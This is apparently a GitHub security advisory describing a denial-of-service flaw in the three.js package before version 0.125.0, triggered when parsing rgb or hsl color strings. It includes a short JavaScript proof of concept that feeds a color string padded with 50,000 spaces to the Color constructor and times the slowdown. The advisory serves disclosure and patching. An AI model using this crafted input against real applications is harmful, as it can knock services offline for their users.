GHSA-fq6p-x6j3-cmmq
Denial of service in three
Packages
Details
As written in the advisory (Markdown source, shown as plain text).
This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors.
**PoC:**
```js
var three = require('three')
function build_blank(n) {
var ret = "rgb("
for (var i = 0; i < n; i++) {
ret += " "
}
return ret + "";
}
var Color = three.Color
var time = Date.now();
new Color(build_blank(50000)) var time_cost = Date.now() - time;
console.log(time_cost + " ms")
```
References
External links from the advisory. They lead to third-party sites.